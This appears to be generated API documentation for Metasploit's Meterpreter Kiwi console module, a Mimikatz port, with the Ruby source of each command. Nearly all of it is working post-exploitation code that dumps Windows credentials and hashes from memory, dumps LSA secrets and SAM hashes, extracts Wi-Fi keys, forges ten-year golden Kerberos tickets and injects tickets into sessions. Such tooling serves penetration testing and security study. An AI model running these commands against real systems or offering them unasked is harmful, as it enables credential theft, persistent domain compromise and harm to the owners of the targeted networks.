class Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY `gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constants

Klass

Public Class Methods

new(shell) click to toggle source

Initializes an instance of the priv command interaction. This function also outputs a banner which gives proper acknowledgement to the original author of the Mimikatz 2.0 software.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 36
def initialize(shell)
  super
  print_line
  print_line
  print_line("  .#####.   mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
  print_line(" .## ^ ##.")
  print_line(" ## / \\ ##  /* * *")
  print_line(" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
  print_line(" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)")
  print_line("  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */")
  print_line

  if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
    print_line
    print_warning('Loaded x86 Kiwi on an x64 architecture.')
  end
end

Public Instance Methods

cmd_creds_all(*args) click to toggle source

Dump all the possible credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 381
def cmd_creds_all(*args)
  method = Proc.new { client.kiwi.all_pass }
  scrape_passwords('all', method, args)
end
cmd_creds_kerberos(*args) click to toggle source

Dump all Kerberos credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 429
def cmd_creds_kerberos(*args)
  method = Proc.new { client.kiwi.kerberos }
  scrape_passwords('kerberos', method, args)
end
cmd_creds_livessp(*args) click to toggle source

Dump all LiveSSP credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 405
def cmd_creds_livessp(*args)
  method = Proc.new { client.kiwi.livessp }
  scrape_passwords('livessp', method, args)
end
cmd_creds_msv(*args) click to toggle source

Dump all msv credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 397
def cmd_creds_msv(*args)
  method = Proc.new { client.kiwi.msv }
  scrape_passwords('msv', method, args)
end
cmd_creds_ssp(*args) click to toggle source

Dump all SSP credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 413
def cmd_creds_ssp(*args)
  method = Proc.new { client.kiwi.ssp }
  scrape_passwords('ssp', method, args)
end
cmd_creds_tspkg(*args) click to toggle source

Dump all TSPKG credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 421
def cmd_creds_tspkg(*args)
  method = Proc.new { client.kiwi.tspkg }
  scrape_passwords('tspkg', method, args)
end
cmd_creds_usage(provider) click to toggle source

Displays information about the various creds commands

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 371
def cmd_creds_usage(provider)
  print_line("Usage: creds_#{provider} [options]")
  print_line
  print_line("Dump #{provider} credentials.")
  print_line(@@creds_opts.usage)
end
cmd_creds_wdigest(*args) click to toggle source

Dump all wdigest credentials to screen.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 389
def cmd_creds_wdigest(*args)
  method = Proc.new { client.kiwi.wdigest }
  scrape_passwords('wdigest', method, args)
end
cmd_golden_ticket_create(*args) click to toggle source

Invoke the golden kerberos ticket creation functionality on the target.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 166
def cmd_golden_ticket_create(*args)
  if args.include?("-h")
    golden_ticket_create_usage
    return
  end

  user = nil
  domain = nil
  sid = nil
  tgt = nil
  target = nil
  id = 0
  group_ids = []

  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
    case opt
    when '-u'
      user = val
    when '-d'
      domain = val
    when '-k'
      tgt = val
    when '-t'
      target = val
    when '-i'
      id = val.to_i
    when '-g'
      group_ids = val.split(',').map { |g| g.to_i }.to_a
    when '-s'
      sid = val
    end
  }

  # all parameters are required
  unless user && domain && sid && tgt && target
    golden_ticket_create_usage
    return
  end

  ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)

  ::File.open( target, 'wb' ) do |f|
    f.write(ticket)
  end

  print_good("Golden Kerberos ticket written to #{target}")
end
cmd_kerberos_ticket_list(*args) click to toggle source

Invoke the kerberos ticket listing functionality on the target machine.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 236
def cmd_kerberos_ticket_list(*args)
  if args.include?('-h')
    kerberos_ticket_list_usage
    return
  end

  # default to not exporting
  export = false
  # default to the current folder for dumping tickets
  export_path = '.'

  @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
    case opt
    when '-e'
      export = true
    when '-p'
      export_path = val
    end
  }

  tickets = client.kiwi.kerberos_ticket_list(export)

  fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
  fields << 'Export Path' if export

  table = Rex::Ui::Text::Table.new(
    'Header'    => 'Kerberos Tickets',
    'Indent'    => 0,
    'SortIndex' => 0,
    'Columns'   => fields
  )

  tickets.each do |t|
    flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
    values = [
      "#{t[:server]} @ #{t[:server_realm]}",
      "#{t[:client]} @ #{t[:client_realm]}",
      t[:start],
      t[:end],
      t[:max_renew],
      "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
    ]

    # write out each ticket to disk if export is enabled.
    if export
      path = '<no data retrieved>'
      if t[:raw]
        id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
        file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
        path = ::File.expand_path(File.join(export_path, file))
        ::File.open(path, 'wb') do |x|
          x.write t[:raw]
        end
      end
      values << path
    end

    table << values
  end

  print_line
  print_line(table.to_s)
  print_line("Total Tickets : #{tickets.length}")
end
cmd_kerberos_ticket_purge(*args) click to toggle source

Invoke the kerberos ticket purging functionality on the target machine.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 304
def cmd_kerberos_ticket_purge(*args)
  client.kiwi.kerberos_ticket_purge
  print_good('Kerberos tickets purged')
end
cmd_kerberos_ticket_use(*args) click to toggle source

Use a locally stored Kerberos ticket in the current session.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 312
def cmd_kerberos_ticket_use(*args)
  if args.length != 1
    print_line('Usage: kerberos_ticket_use ticketpath')
    return
  end

  target = args[0]
  ticket  = ''
  ::File.open(target, 'rb') do |f|
    ticket += f.read(f.stat.size)
  end

  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
  client.kiwi.kerberos_ticket_use(ticket)
  print_good('Kerberos ticket applied successfully')
end
cmd_lsa_dump(*args) click to toggle source

Invoke the LSA secret dump on thet target.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 78
def cmd_lsa_dump(*args)
  check_privs

  print_status('Dumping LSA secrets')
  lsa = client.kiwi.lsa_dump

  # the format of this data doesn't really lend itself nicely to
  # use within a table so instead we'll dump in a linear fashion

  print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
  print_line("Domain/Computer  : #{lsa[:compname]}") if lsa[:compname]
  print_line("System Key       : #{to_hex(lsa[:syskey])}")
  print_line("NT5 Key          : #{to_hex(lsa[:nt5key])}")
  print_line
  print_line("NT6 Key Count    : #{lsa[:nt6keys].length}")

  if lsa[:nt6keys].length > 0
    lsa[:nt6keys].to_enum.with_index(1) do |k, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. ID           : #{Rex::Text::to_guid(k[:id])}")
      print_line("#{index}. Value        : #{to_hex(k[:value])}")
    end
  end

  print_line
  print_line("Secret Count     : #{lsa[:secrets].length}")
  if lsa[:secrets].length > 0
    lsa[:secrets].to_enum.with_index(1) do |s, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. Name         : #{s[:name]}")
      print_line("#{index}. Service      : #{s[:service]}") if s[:service]
      print_line("#{index}. NTLM         : #{to_hex(s[:ntlm])}") if s[:ntlm]
      if s[:current] || s[:current_raw]
        current = s[:current] || to_hex(s[:current_raw], ' ')
        print_line("#{index}. Current      : #{current}")
      end
      if s[:old] || s[:old_raw]
        old = s[:old] || to_hex(s[:old_raw], ' ')
        print_line("#{index}. Old          : #{old}")
      end
    end
  end

  print_line
  print_line("SAM Key Count    : #{lsa[:samkeys].length}")
  if lsa[:samkeys].length > 0
    lsa[:samkeys].to_enum.with_index(1) do |s, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. RID          : #{s[:rid]}")
      print_line("#{index}. User         : #{s[:user]}")
      print_line("#{index}. LM Hash      : #{to_hex(s[:lm_hash])}")
      print_line("#{index}. NTLM Hash    : #{to_hex(s[:ntlm_hash])}")
    end
  end

  print_line
end
cmd_wifi_list(*args) click to toggle source

Dump all the wifi profiles/credentials

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 332
def cmd_wifi_list(*args)
  results = client.kiwi.wifi_list

  if results.length > 0
    results.each do |r|
      table = Rex::Ui::Text::Table.new(
        'Header'    => "#{r[:desc]} - #{r[:guid]}",
        'Indent'    => 0,
        'SortIndex' => 0,
        'Columns'   => [
          'Name', 'Auth', 'Type', 'Shared Key'
        ]
      )

      print_line
      r[:profiles].each do |p|
        table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
      end

      print_line(table.to_s)
      print_line("State: #{r[:state]}")
    end
  else
    print_line
    print_error('No wireless profiles found on the target.')
  end

  print_line
  return true
end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 57
def commands
  {
    'creds_wdigest'         => 'Retrieve WDigest creds',
    'creds_msv'             => 'Retrieve LM/NTLM creds (hashes)',
    'creds_livessp'         => 'Retrieve LiveSSP creds',
    'creds_ssp'             => 'Retrieve SSP creds',
    'creds_tspkg'           => 'Retrieve TsPkg creds',
    'creds_kerberos'        => 'Retrieve Kerberos creds',
    'creds_all'             => 'Retrieve all credentials',
    'golden_ticket_create'  => 'Create a golden kerberos ticket',
    'kerberos_ticket_use'   => 'Use a kerberos ticket',
    'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
    'kerberos_ticket_list'  => 'List all kerberos tickets',
    'lsa_dump'              => 'Dump LSA secrets',
    'wifi_list'             => 'List wifi profiles/creds'
  }
end
golden_ticket_create_usage() click to toggle source

Output the usage for the ticket listing functionality.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 156
def golden_ticket_create_usage
  print_line('Usage: golden_ticket_create [options]')
  print_line
  print_line('Create a golden kerberos ticket that expires in 10 years time.')
  print_line(@@golden_ticket_create_opts.usage)
end
kerberos_ticket_list_usage() click to toggle source

Output the usage for the ticket listing functionality.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 226
def kerberos_ticket_list_usage
  print_line('Usage: kerberos_ticket_list [options]')
  print_line
  print_line('List all the available Kerberos tickets.')
  print_line(@@kerberos_ticket_list_opts.usage)
end
name() click to toggle source

Name for this dispatcher

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 27
def name
  'Kiwi'
end

Protected Instance Methods

check_privs() click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 436
def check_privs
  if system_check
    print_good('Running as SYSTEM')
  else
    print_warning('Not running as SYSTEM, execution may fail')
  end
end
scrape_passwords(provider, method, args) click to toggle source

Invoke the password scraping routine on the target.

@param provider [String] The name of the type of credentials to dump

(used for display purposes only).

@param method [Proc] Block that calls the method that invokes the

appropriate function on the client that returns the results from
Meterpreter that lay in the house that Jack built.

@return [void]

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 463
def scrape_passwords(provider, method, args)
  if args.include?('-h')
    cmd_creds_usage(provider)
    return
  end

  check_privs
  print_status("Retrieving #{provider} credentials")
  accounts = method.call

  table = Rex::Ui::Text::Table.new(
    'Header'    => "#{provider} credentials",
    'Indent'    => 0,
    'SortIndex' => 0,
    'Columns'   => [
      'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash'
    ]
  )

  accounts.each do |acc|
    table << [
      acc[:domain] || '',
      acc[:username] || '',
      acc[:password] || '',
      to_hex(acc[:lm]),
      to_hex(acc[:ntlm])
    ]
  end

  output = table.to_s
  print_line(output)

  # determine if a target file path was passed in
  file_index = args.index('-o')
  unless file_index.nil?
    if args.length > file_index + 1
      # try to write the file to disk
      begin
        ::File.write(args[file_index + 1], output)
        print_good("Output written to #{args[file_index + 1]}")
      rescue
        print_error("Unable to write to #{args[file_index + 1]}")
      end
    else
      print_error('Missing file path for -o parameter')
    end
  end

  return true
end
system_check() click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 444
def system_check
  unless client.sys.config.is_system?
    print_warning('Not currently running as SYSTEM')
    return false
  end

  return true
end
to_hex(value, sep = '') click to toggle source

Helper function to convert a potentially blank value to hex and have the outer spaces stripped

@param (see Rex::Text.to_hex) @return [String] The result of {Rex::Text.to_hex}, strip'd

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb, line 520
def to_hex(value, sep = '')
  Rex::Text.to_hex(value || '', sep).strip
end